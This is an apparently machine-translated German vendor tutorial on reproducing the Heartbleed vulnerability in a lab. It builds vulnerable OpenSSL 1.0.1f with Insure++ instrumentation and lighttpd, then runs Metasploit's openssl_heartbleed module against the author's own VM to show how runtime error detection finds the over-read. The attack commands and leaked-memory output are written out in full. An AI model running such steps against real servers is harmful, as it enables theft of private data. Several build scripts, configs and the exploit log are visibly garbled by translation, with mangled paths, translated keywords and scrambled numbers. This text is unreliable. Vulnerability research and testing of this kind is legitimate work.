So finden Sie Schwachstellen im Code mithilfe der Laufzeitfehlererkennung

Anstatt sich auf einen Sicherheitsscanner zu verlassen, um bekannte Schwachstellen in Ihrem Code zu finden, können Sie die Laufzeitfehlererkennung verwenden, um Sicherheitslücken zu finden. Für diese Technik ist es nicht erforderlich, dass Schwachstellen bereits bekannt sind, um sie zu erkennen.

Warum die Identifizierung von Sicherheitslücken so wichtig ist

Die Heartbleed-Schwachstelle wurde 2014 in OpenSSL entdeckt und löste aufgrund der breiten Akzeptanz von OpenSSL sowohl in Open-Source- als auch in kommerziellen Anwendungen großes Interesse und Besorgnis aus. Nach dieser Entdeckung wurden bestimmte Schwachstellenscanner aktualisiert, um Heartbleed zu erkennen. Heute beschäftigen wir uns jedoch mit einer anderen Technik, mit der Sie Sicherheitslücken mithilfe der Laufzeitfehlererkennung erkennen können.

Als die Nachrichten über die OpenSSL Heartbleed-Sicherheitsanfälligkeit veröffentlicht wurden, geriet die Branche in Panik darüber, wie das Problem entweder behoben oder gemindert werden kann. OpenSSL ist eine Verschlüsselungsbibliothek, die in der HTTPS-Kommunikation verwendet wird. HTTPS soll die sichere Version von HTTP sein, daher ist OpenSSL eine Vielzahl privater Informationen, die über die Kabel der ersten Schutzlinie des Internets übertragen werden. Daher gefährdet die Heartbleed-Sicherheitsanfälligkeit Kreditkarten, Sozialversicherungsnummern, Passwörter und andere persönliche Informationen einem kritischen Risiko.

Die Schwachstelle wurde durch die selten genutzte, aber häufig aktivierte „Heartbeat“-Funktion von OpenSSL verursacht. Durch das Senden einer fehlerhaften Heartbeat-Anfrage an einen Server, auf dem OpenSSL ausgeführt wird, kommt es zu einem Speicherüberlauf, der dazu führt, dass wichtige Informationen in das Antwortpaket gelangen. Bei richtiger Bewaffnung ermöglicht dies eine nahezu unentdeckbare Exfiltration von privatem OpenSSL, was die gesamte sichere Kommunikation des Servers gefährdet.

Als Organisationen erkannten, dass dieses Problem real war, wollten sie prüfen, ob das Problem in ihrem eigenen Quellcode bestand. Auf der einfachsten Ebene können Sie eine alte Version von OpenSSL patchen oder aktualisieren. Möglicherweise möchten Sie aber auch testen, um sicherzustellen, dass das zugrunde liegende Problem selbst nicht besteht. Sehen wir uns an, wie die Laufzeitfehlererkennung zusammen mit herkömmlichen Penetrationstools verwendet werden kann, um Schwachstellen präzise zu erkennen.

Anwenden der Laufzeitfehlererkennung aus Sicherheitsgründen

Parasoft Insure ++ ist ein Speicher-Debugging-Tool, das patentierte Instrumentierungstechniken verwendet, um Lecks und andere Speicherprobleme schnell zu identifizieren. Das Erkennen von Speicher über Lesevorgängen ist mit herkömmlichen Debuggern unglaublich schwierig (wenn nicht unmöglich), mit Parasoft jedoch äußerst einfach
Versichern Sie ++.

Die Heartbleed-Sicherheitsanfälligkeit wurde ursprünglich von Sicherheitsingenieuren bei Codenomicon und Google Security entdeckt. Es waren große Anstrengungen erforderlich, um nicht nur die Sicherheitsanfälligkeit zu finden, sondern auch zu beweisen, dass die Sicherheitsanfälligkeit von Bedeutung ist, und das Problem vollständig zu mindern. Hier zeige ich Ihnen, wie ein gutes Tool zur Erkennung von Sicherheitslücken wie ein Fuzzer in Kombination mit Insure ++ die Ermittlung der Auswirkungen der Sicherheitsanfälligkeit und deren Behebung erheblich vereinfacht hätte.

Da der Kern von Heartbleed ein Problem beim Überlesen des Speichers ist, werden wir Parasoft Insure ++ verwenden, um anhand einer realen Sicherheitsanfälligkeit zu demonstrieren, wie viel einfacher es ist, kritische Fehler mit den richtigen Tools zu diagnostizieren und zu beheben!

Erste Schritte mit der Laufzeitfehlererkennung: Einrichten der virtuellen Maschine des Opfers

Auf der virtuellen Maschine des Opfers richten wir LigHTTPD so ein, dass es eine Version von OpenSSL verwendet, die für den Heartbleed-Angriff anfällig ist. Als Betriebssystem für die virtuelle Maschine des Opfers habe ich CentOS 7 gewählt. Stellen Sie sicher, dass Sie bei der Installation Entwicklungstools auswählen, damit der GCC-Compiler und andere erforderliche Header-Dateien enthalten sind.

Achten Sie beim Einrichten des Netzwerks der virtuellen Maschine darauf, von wo aus Sie den Angriff starten. Ich habe mich für einen Angriff vom Host-Computer aus entschieden und daher einen Netzwerkadapter nur für den Host hinzugefügt. Installieren Metasploit auf der Maschine, die den Angriff ausführen wird.

Zum Schluss installieren Parasoft Insure ++ auf der virtuellen Maschine des Opfers!

Projektlayout

Das Projekt wird wie folgt aufgebaut:

 ~/heartbleed :: Das Hauptverzeichnis, in dem wir arbeiten werden.
 ~/heartbleed/env :: Das Verzeichnis, auf das wir als Installationspräfix abzielen.
 ~/heartbleed/src :: Das Verzeichnis, in das wir den Quellcode herunterladen und kompilieren.
 ~/heartbleed/srv :: Das Verzeichnis, in dem unsere LigHTTPD-Website gespeichert ist.

OpenSSL mit Insure++ erstellen und installieren

Der Schritt zur Demonstration der Heartbleed-Schwachstelle besteht darin, OpenSSL mit Insure++-Instrumentierung zu erstellen. Um die Heartbleed-Schwachstelle auszunutzen, müssen wir eine Version von OpenSSL erstellen, die vor der Behebung des Fehlers veröffentlicht wurde. Die letzte Version von OpenSSL, die die Heartbleed-Schwachstelle enthielt, war Version 1.0.1, daher werden wir diese verwenden.

 $ cd /home/USER/heartbleed/src  $ wget https://www.openssl.org/source/old/1.0.1/openssl-1.0.1f.tar.gz  $ tar xf openssl-1.0.1f.tar.gz  $ cd openssl-1.0.1f

Als nächstes müssen wir unsere Quelle konfigurieren. Um diesen Prozess zu beschleunigen, erstellen wir das folgende Skript im OpenSSL-Quellverzeichnis. Das Skript geht davon aus, dass sowohl insure als auch gcc im aktuellen Shell-PATH enthalten sind. Benennen Sie das Skript etwa configure_openssl.sh

 #!/usr/bin/env bash

 CC="$(command -v insure) $(command -v gcc)" \
 CXX="$(command -v insure) $(command -v g++)" \
 ./config -d shared --prefix=/home/USER/heartbleed/env

Die -d Das Flag konfiguriert OpenSSL so, dass es Debugging-Symbole enthält, die für Insure ++ erforderlich sind. Die gemeinsam genutzte Direktive konfiguriert OpenSSL so, dass gemeinsam genutzte Bibliotheken generiert werden

   --prefix=/home/USER/heartbleed/env 

Flag konfiguriert OpenSSL für die Installation in diesem Verzeichnis.

Jetzt lauf ~/configure_openssl.sh im OpenSSL-Quellverzeichnis, um die Quelle zu konfigurieren.

 $ pwd
 /home/USER/heartbleed/src/openssl-1.0.1f
 $ chmod +x configure_openssl.sh
 $ ./configure_openssl.sh

Der nächste Schritt ist das Kompilieren mit make. Make akzeptiert ein -j-Flag, um die Anzahl der Kompilierungsjobs anzugeben, die parallel ausgeführt werden sollen. Insure ++ unterstützt diese parallele Kompilierung vollständig, wodurch wir die Kompilierung beschleunigen können, indem wir die Anzahl der Kerne angeben, die für die virtuelle Maschine des Opfers verfügbar sind.

$ make -j4

Wenn Sie make mit Insure ++ Instrumentation ausführen, wird ein Insra-Fenster angezeigt, in dem angezeigt wird, welche Dateien während der Kompilierung instrumentiert werden.

Normalerweise würden wir make install nach dem Erstellen ausführen, aber es gibt ein Problem bei der Erstellung von Man-Dateien, da die alte Version von pod2man, die in CentOS 7 enthalten ist, das von OpenSSL verwendete Format nicht unterstützt. Um dies zu vermeiden, installieren wir nur die Software, anstatt viele POD-Dateien von Hand zu patchen.

$ make install_sw

Erstellen und Installieren von LigHTTPD

Der nächste Schritt besteht darin, LigHTTPD mit unserem von Insure ++ instrumentierten Build von OpenSSL zu erstellen. Da wir an der Heartbleed-Sicherheitsanfälligkeit in OpenSSL und nicht an einem Verhalten von LigHTTPD interessiert sind, werden wir ohne Insure ++ - Instrumentierung bauen. Obwohl wir Insure ++ nicht zum Kompilieren von LigHTTPD verwenden, müssen wir weiterhin Insure ++ zum Verknüpfen verwenden, da wir mit dem von Insure ++ instrumentierten Build von OpenSSL verknüpfen.

Wir werden den Quellcode einer aktuellen Version von LigHTTPD zum Erstellen erhalten.

$ cd /home/USER/heartbleed/src  $ wget https://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.49.tar.xz  $ tar xf lighttpd-1.4.49.tar.xz  $ cd lighttpd-1.4.49

Wir müssen jetzt die LigHTTPD-Quelle so konfigurieren, dass sie sowohl mit der Insure ++ - Instrumentierung als auch mit unserem OpenSSL-Build ordnungsgemäß verknüpft ist. Wir werden das folgende Skript im LigHTTPD-Quellverzeichnis erstellen, um dies zu erreichen. Nennen Sie das Konfigurationsskript so etwas wie configure_lighttpd.sh.

 #! / usr / bin / env bash OPENSSL_PATH = '/ home / USER / heartbleed / env' INSURE_PATH = '/ home / USER / versichern' MY_LIBS = '- linsure -linsure_mt -ldl' MY_LIB_PATHS = "- L $ {OPENSSL_PATH} / lib -L $ {INSURE_PATH} / lib "MY_LD_LIB_PATHS =" $ {OPENSSL_PATH} / lib: $ {INSURE_PATH} / lib "MY_FLAGS =" $ MY_LIB_PATHS $ MY_LIBS "CC =" $ (Befehl -v gcc) "\ CXX = "$ (Befehl -v g ++)" \ CFLAGS = "$ MY_FLAGS" \ CPPFLAGS = "$ MY_FLAGS" \ LDFLAGS = "$ MY_LIB_PATHS" \ LD_LIBRARY_PATH = "$ MY_LD_LIB_PATHS" \ --prefix = / home / USER / heartbleed / \ --with-openssl \ --with-openssl-includes = / home / USER / heartbleed / env / include \ --with-openssl-libs = / home / USER / heartbleed / env / lib

Stellen Sie vor dem Ausführen dieses Konfigurationsskripts sicher, dass Sie die für LigHTTPD erforderlichen bzip2-Header installieren.

sudo yum install bzip2-devel

Führen Sie das Skript aus dem LigHTTPD-Verzeichnis aus.

 $ pwd
 /home/USER/heartbleed/src/lighttpd-1.4.49
 $ chmod +x configure_lighttpd.sh
 $ ./configure_lighttpd.sh

Nachdem die Quelle konfiguriert ist, müssen wir einen ungewöhnlichen zusätzlichen Schritt ausführen. Da LigHTTPD libtool für die Bibliotheksverknüpfung verwendet, müssen wir es so konfigurieren, dass Insure ++ für den letzten Verknüpfungsschritt verwendet wird.

Bearbeiten Sie die Datei /home/USER/heartbleed/srv/lighttpd-1.4.49/src/Makefile und ersetzen Sie die folgende Zeile…

CCLD = $(CC)

Stellen Sie sicher, dass die Pfade für Ihr Setup übereinstimmen.

CCLD = '/home/USER/insure/bin/insure /usr/bin/gcc'

Nachdem die Quelle konfiguriert ist, können wir mit dem Erstellen des Quellcodes fortfahren
und installieren.

 $ make -j4
 $ make install

Einrichten von LigHTTPD

Nachdem wir LigHTTPD mit einer OpenSSL mit Insure ++-Instrumentierung erstellt haben, müssen wir ein Bare-Bones-Setup erstellen, damit LigHTTPD ausgeführt werden kann. Zuerst erstellen wir eine einfache "Hallo Welt!" HTML-Seite in /home/USER/heartbleed/srv/index.html~ wie folgt…

<html>
   <head>
     <title>Heartbleed Demo</title>
   </head>
   <body>
     <h1>Hello world!</h1>
   </body>
 </html>

Das nächste Setup beim Einrichten besteht darin, eine SSL-PEM-Datei für LigHTTPD zu generieren
Verwendung für HTTPS.

 $ cd /home/USER/heartbleed/  $ openssl req -x509 -nodes -days 7300 -newkey rsa:2048 -sha256 -keyout server.pem -out server.pem

Stellen Sie sicher, dass Sie die Felder E-Mail-Adresse, physischer Standort und Organisation wie oben gezeigt ausfüllen, da wir sie später im durchgesickerten Speicher suchen werden!

Schließlich erstellen wir eine einfache Konfigurationsdatei unter /home/USER/heartbleed/lighttpd.conf folgendermaßen. Stellen Sie sicher, dass Benutzer, Gruppen und Pfade Ihrem Setup entsprechen. Beachten Sie, dass wir die nicht standardmäßigen Ports 8080 für HTTP und 4443 für HTTPS verwenden, um zu vermeiden, dass LigHTTPD als Root ausgeführt werden muss.

 server.modules = ("mod_openssl", "mod_access", "mod_accesslog",) server.port = 8080 server.username = "USER" server.groupname = "GROUP" server.document-root = "/ home / USER / heartbleed / srv "server.errorlog =" /home/USER/heartbleed/lighttpd_error.log "accesslog.filename =" /home/USER/heartbleed/lighttpd_access.log "dir-listing.activate =" enable "index-file.names = ("index.html") mimetype.assign = (".html" => "text / html", ".txt" => "text / plain", ".css" => "text / css", ". js "=>" application / x-javascript "," .jpg "=>" image / jpeg "," .jpeg "=>" image / jpeg "," .gif "=>" image / gif ",". png "=>" image / png "," "=>" application / octet-stream ",) $ SERVER [" socket "] ==": 4443 "{ssl.engine =" enable "ssl.pemfile =" / home / USER / heartbleed / server.pem "}

Ausführen von LigHTTPD

Erstellen Sie das folgende Skript in /home/USER/heartbleed/run_lighttpd.sh. Wir müssen das spezifizieren LD_LIBRARY_PATH da wir nicht standardmäßige Pfade für Bibliotheken verwenden. Korrigieren Sie den Pfad so, dass er mit dem Home-Ordner Ihres Benutzers übereinstimmt.

 #! / usr / bin / env bash LD_LIBRARY_PATH = '/ home / USER / heartbleed / env / lib: / home / USER / versichern / lib' \ / home / USER / heartbleed / env / sbin / lighttpd \ -D \ - f /home/USER/heartbleed/lighttpd.conf

Führen Sie das Skript aus, um LigHTTPD zu starten!

$ pwd
 /home/USER/heartbleed
 $ chmod +x run_lighttpd.sh
 $ ./run_lighttpd.sh

Metasploit ausführen

Jetzt, da wir LigHTTPD mit unserer Insure ++ instrumentierten OpenSSL zum Laufen gebracht haben, ist es jetzt Zeit, unseren Angriff zu starten! Wir werden Metasploit verwenden, um unseren Angriff zu starten. Metasploit ist ein Tool für viele Aufgaben der Informationssicherheit, einschließlich der Ausnutzung und Umgehung der Software-Sicherheit. Es enthält einen Scanner für Heartbleed, der die Sicherheitsanfälligkeit teilweise ausnutzt, um dies zu demonstrieren
Anfälligkeit.

Als erstes müssen Sie Metasploit auf Ihrem Angreifer-System installieren. Ich habe mich entschieden, meine Angriffe vom Host der virtuellen Maschine aus zu starten, also habe ich dort Metasploit installiert. Ich werde die Metasploit-Installation nicht behandeln, da sie nicht im Rahmen dieser Demo enthalten ist. Nach der Installation von Metasploit starten
die Metasploit-Konsole.

 $ msfconsole

Dies zeigt eine Eingabeaufforderung für das Metasploit-Framework an. An dieser Eingabeaufforderung suchen wir in Metasploit nach den darin enthaltenen Heartbleed-Tools.

 msf > search heartbleed  Matching Modules  ================  Name Disclosure Date Rank Description  ---- --------------- ---- -----------  auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Information Leak  auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Client Memory Exposure

Wir werden den bereits erwähnten Heartbleed-Scanner von Metasploit verwenden.

 msf > use auxiliary/scanner/ssl/openssl_heartbleed

Von hier aus möchten wir die Optionen für den openssl_heartbleed-Scanner festlegen. Zuerst werden wir die ausführliche Ausgabe aktivieren, um die detaillierte Ausgabe während der Ausnutzung zu sehen. Dann setzen wir die IP und den Port des Remote-Hosts auf das Ziel für den Angriff. Stellen Sie sicher, dass Sie die Host-IP und den Port so ändern, dass sie Ihrem Setup entsprechen.

 msf auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true  verbose => true  msf auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 192.168.56.102  rhosts => 192.168.56.102  msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 4443  RPORT => 4443

Wenn wir set ohne Argumente ausführen, können wir sehen, welche Argumente für das aktuelle Tool festgelegt wurden. Es ist wichtig, diese Optionen zu überprüfen, bevor Sie einen Scan oder Exploit in Metasploit starten, da das Zielen auf das falsche System unbeabsichtigte Ziele stören oder beschädigen kann.

 msf auxiliary(scanner/ssl/openssl_heartbleed) > set  Global  ======  No entries in data store.  Module: scanner/ssl/openssl_heartbleed  ======================================  Name                 Value  ----                 -----  CHOST  CPORT  ConnectTimeout       10  DUMPFILTER  HEARTBEAT_LENGTH     65535  MAX_KEYTRIES         50  Proxies  RESPONSE_TIMEOUT     10  RHOSTS               192.168.56.102  RPORT                4443  SSL                  false  SSLCipher  SSLVerifyMode        PEER  SSLVersion           Auto  STATUS_EVERY         5  ShowProgress         true  ShowProgressPercent  10  TCP::max_send_size   0  TCP::send_delay      0  THREADS              1  TLS_CALLBACK         None  TLS_VERSION          1.0  VERBOSE              true  WORKSPACE  XMPPDOMAIN           localhost

Nachdem wir alle Optionen konfiguriert und bestätigt haben, dass wir etwas nicht angreifen, was wir nicht beabsichtigt hatten, können wir unseren Angriff starten!

 msf auxiliary (scanner / ssl / openssl_heartbleed)> Exploit [*] 192.168.56.102:4443 - Client senden Hallo ... [*] 192.168.56.102:4443 - SSL-Datensatz Nr. 1: [*] 192.168.56.102:4443 - Typ : 22 [*] 192.168.56.102:4443 - Version: 0x0301 [*] 192.168.56.102:4443 - Länge: 86 [*] 192.168.56.102:4443 - Handshake Nr. 1: [*] 192.168.56.102:4443 - Länge: 82 [*] 192.168.56.102:4443 - Typ: Server Hello (2) [*] 192.168.56.102:4443 - Server Hello Version: 0x0301 [*] 192.168.56.102:4443 - Zufällige Server Hello-Daten: f6150b7136c5047cc899660bdd8c7c93cc52b4425 .50756367: 6 - Länge der Server-Hello-Sitzungs-ID: 3 [*] 78:4 - Server-Hello-Sitzungs-ID: 192.168.56.102fc4443c32e192.168.56.102adc4443f6f69f504a53ce8611edf353f010fa427e01f9530db [*] 77:84 - SS71. Typ: 5238660 [*] 7:192.168.56.102 - Version: 4443x2 [*] 192.168.56.102:4443 - Länge: 22 [*] 192.168.56.102:4443 - Handshake Nr. 0: [*] 0301:192.168.56.102 - Länge : 4443 [*] 1033 192.168.56.102: 4443 - Typ: Zertifikatdaten (1) [*] 192.168.56.102:4443 - Zertifikatslänge: 1029 [*] 192.168.56.102:4443 - Datenlänge: 11 [*] 192.168.56.102:4443 - Zertifikatnummer 1026: [*] 192.168.56.102:4443 - Zertifikat Nr. 1029: Länge: 192.168.56.102 [*] 4443:1 - Zertifikat Nr. 192.168.56.102: #  , issuer = # , serial = # , not_before = 4443-1-1023 192.168.56.102:4443:1 UTC, not_after = 509-509-0 000055:722236070:509 UTC> [*] 0:000055 - SSL-Datensatz Nr. 7222360: [*] 0: 0 - Typ: 000055 [*] 722236110:2018 - Version: 09x24 [*] 23:24 - Länge: 45 [*] 2038:09 - Handshake Nr. 19: [*] 23:24 - Länge: 45 [*] 192.168.56.102:4443 - Typ: Server Key Exchange (3) [*] 192.168.56.102:4443 - SSL-Datensatz Nr. 22: [*] 192.168.56.102:4443 - Typ: 0 [*] 0301:192.168.56.102 - Version: 4443x331 [*] 192.168.56.102:4443 - Länge: 1 [*] 192.168.56.102:4443 - Handshake Nr. 327: [*] 192.168.56.102:4443 - Länge: 12 [*] 192.168.56.102 .4443: 4 - Typ: Server Hallo fertig (192.168.56.102) [*] 4443:22 - Heartbeat senden ... [*] 192.168.56.102:4443 - Heartbeat-Antwort, 0 Byte [+] 0301:192.168.56.102 - Heartbeat-Antwort mit Leck [*] 4443:4 - Druckbare Informationen durchgesickert: [*] 192.168.56.102 von 4443 Hosts gescannt (1% abgeschlossen) [*] Ausführung des Zusatzmoduls abgeschlossen

Die Zeile nach "Druckbare Informationen durchgesickert:" wurde entfernt, da sie extrem lang ist. Einige relevante Bytes sind unten dargestellt:

: .x.. o..PNS..a.5?..Bz...0.....q.#.`................................0...0...
: ............1(..0...*.H........0..1.0...U....US1.0...U....California1.0...U
: ....Monrovia1.0...U....Parasoft1.0...U....C++Test1.0...U....rojogorra1#0!..
: *.H........noreply.com0...180924232445Z..380919232445Z0..1.0...U....US1.0..
: .U....California1.0...U....Monrovia1.0...U....Parasoft1.0...U....C++Test1.0
: ...U....rojogorra1#0!..*.H........noreply.com0.."0...*.H.............0.....
: ....${(.........o..qC.9M...>..:.q.lN.#...F.._M^....1<..Rb...G.h/l.../S..2.3

Wie Sie sehen können, hat der Exploit erfolgreich Speicher von OpenSSL mit unserem PEM-Schlüssel verloren! Wenn Sie den durchgesickerten Speicher durchsuchen, finden Sie die E-Mail-Adresse, den physischen Standort und die Organisationsinformationen, die Sie beim Erstellen der von LigHTTPD verwendeten PEM-Datei eingegeben haben.

Blick auf die Ausgabe von Insure++ Insra und TCA

Von unserer virtuellen Opfermaschine sehen wir die Insure ++ - Ausgabe in Insra, wenn wir LigHTTPD starten. Während der ersten Ausführung tritt ein USER_ERROR auf, den wir ignorieren, da er nichts mit Heartbleed zu tun hat.

Nach dem Ausführen des Heartbleed-Exploits in Metasploit können wir die genaue Codezeile sehen, in der das Überlesen des Puffers auftritt, wodurch der interne Speicher verloren geht!

Ein Doppelklick auf die Zeile READ_OVERFLOW öffnet ein weiteres Fenster mit zusätzlichen Details, einschließlich einer Ablaufverfolgung, wo der Speicherblock zugewiesen wurde, und einer Stapelverfolgung, wo der Leseüberlauf aufgetreten ist.

Mit Insure ++ instrumentierte ausführbare Dateien generieren a tca.log Datei beim Ausführen. TCA steht für "Total Coverage Analysis". Wir können diese Protokolldatei mit dem in Insure ++ enthaltenen TCA-Tool öffnen, um detaillierte Informationen zu unserer Codeabdeckung anzuzeigen.

$ TCA tca.log

Im nächsten Screenshot sehen Sie, wie TCA die Ergebnisse unseres tca.log anzeigt, die nach der Ausführung des Metasploit Heartbleed-Exploits erhalten wurden. Ich habe den Bericht nach Datei sortiert und t1_lib.c hervorgehoben, wo die Schwachstelle besteht. Wie Sie sehen, haben wir nur 13 % des Codes in der Datei abgedeckt.

Doppelklick auf das t1_lib.c Zeile bewirkt, dass sich ein weiteres Fenster öffnet. In diesem Fenster können wir die Abdeckung sehen t1_lib.c sortiert nach Funktion. Ich habe die Funktion hervorgehoben, bei der die Heartbleed-Sicherheitsanfälligkeit auftritt. Wie Sie sehen, haben wir nur etwa 45% des Codes in der Funktion abgedeckt.

Darüber hinaus wird durch einen Doppelklick auf den Funktionsnamen der Quellcode mit schwarz abgedecktem Code und nicht rot abgedecktem Code angezeigt.

Schlussfolgerung

Wie Sie sehen können, hat Parasoft Insure ++ die Erkennung von Heartbleed trivial gemacht. Insure ++ hat nicht nur den Speicher beim Lesen erkannt, sondern auch Folgendes generiert:

• Eine Stapelverfolgung, wo der Speicher übergelesen wurde.
• Eine Stapelverfolgung, in der angegeben ist, wo der Speicher selbst zugewiesen wurde.
• Ein detailliertes Protokoll der abgedeckten Codepfade.

Diese Funktionen machen Insure ++ zu etwas, das gut in den Werkzeuggürtel eines jeden Informationssicherheitsforschers passt. Während Sie wahrscheinlich mit der Verwendung verschiedener SAST-Tools und Penetrationstools zum Auffinden von Sicherheitslücken vertraut sind, sollten Sie darüber nachdenken, Ihrem Sicherheitstest-Toolkit eine Laufzeitfehlererkennung hinzuzufügen.